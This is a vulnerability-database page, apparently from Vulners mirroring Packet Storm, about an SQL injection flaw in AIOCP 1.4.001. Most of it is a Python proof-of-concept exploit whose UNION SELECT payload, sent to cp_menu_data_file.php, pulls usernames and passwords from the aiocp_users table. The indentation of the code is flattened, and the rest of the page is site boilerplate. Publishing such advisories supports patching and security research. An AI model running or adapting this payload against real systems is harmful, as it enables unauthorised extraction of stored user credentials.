Lucene search
K

AIOCP 1.4.001 SQL Injection

🗓️ 01 Feb 2011 00:00:00Reported by AutoSec ToolsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

AIOCP 1.4.001 SQL Injection vulnerability on Windows 7 + XAMP

Code
`# ------------------------------------------------------------------------  
# Software................AIOCP (All In One Control Panel) 1.4.001  
# Vulnerability...........SQL Injection  
# Download................http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=aiocp  
# Release Date............1/31/2011  
# Tested On...............Windows 7 + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# ------------------------------------------------------------------------  
#   
# --PoC--  
import re, socket  
  
host = 'localhost'  
port = 80  
  
r = re.compile('\'([^\']+):([^\s]+)\sLIMIT')  
  
# Search user ids 0 through 16  
for i in range(0,16):  
  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)  
s.send("GET /AIOCP/public/code/cp_menu_data_file.php?menu='or%201=1%20UNION%20ALL%20SELECT%201,0,CONCAT(',',user_name,':',user_password)%20as%20menulst_name,0%20FROM%20aiocp_users%20ORDER%20BY%20menulst_style%20LIMIT%20" + str(i) + ",1;%23 HTTP/1.1\r\n"  
'Host: ' + host + '\r\n'  
'\r\n')  
  
resp = s.recv(8192)  
  
m = r.search(resp)  
  
if m is None: continue  
  
print 'Username: ' + m.group(1) + '\nPassword: ' + m.group(2) + '\n'  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Feb 2011 00:00Current
7.4High risk
Vulners AI Score7.4
36